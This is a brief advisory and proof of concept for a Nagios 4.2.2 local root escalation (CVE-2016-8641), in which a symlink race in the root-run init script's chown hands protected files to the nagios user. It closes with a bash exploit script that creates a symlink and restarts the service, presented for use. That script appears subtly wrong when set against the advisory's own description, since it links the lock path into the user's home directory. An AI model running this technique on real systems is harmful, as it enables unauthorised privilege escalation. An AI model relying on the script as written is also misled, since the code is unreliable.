CVE-2016-8641 Nagios 4.2.2 – root privilege escalation
Using official installation instruction at https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/quickstart-ubuntu.html, nagios' user is create with a shell: /usr/sbin/useradd -m -s /bin/bash nagios leading to a entry in /etc/passwd like this "nagios:x:1001:1001::/home/nagios:/bin/bash". This means that if someone has access to the nagios account, he can access any files own by nagios. The Nagios startup script, run by root, is insecurely giving owner of file to nagios use: (/etc/init.d/nagios: line 190) touch $NagiosRunFile chown $NagiosUser:$NagiosGroup $NagiosRunFile $NagiosVarDir/nagios.log $NagiosRetentionFile. If Nagios user symlink $NagiosRunFile to a file that he has no access to, at startup or reboot of the nagios daemon, the init script with give him ownership of the linked file. Exploit: #!/bin/bash -p # TARGETSERVICE="Nagios" LOWUSER="nagios" TARGETPATH="/usr/local/nagios/var/nagios.lock" # Create a symlink to the target file ln -s $TARGETPATH /home/$LOWUSER/nagios.lock # Restart the service /etc/init.d/$TARGETSERVICE restart # Remove the symlink rm /home/$LOWUSER/nagios.lock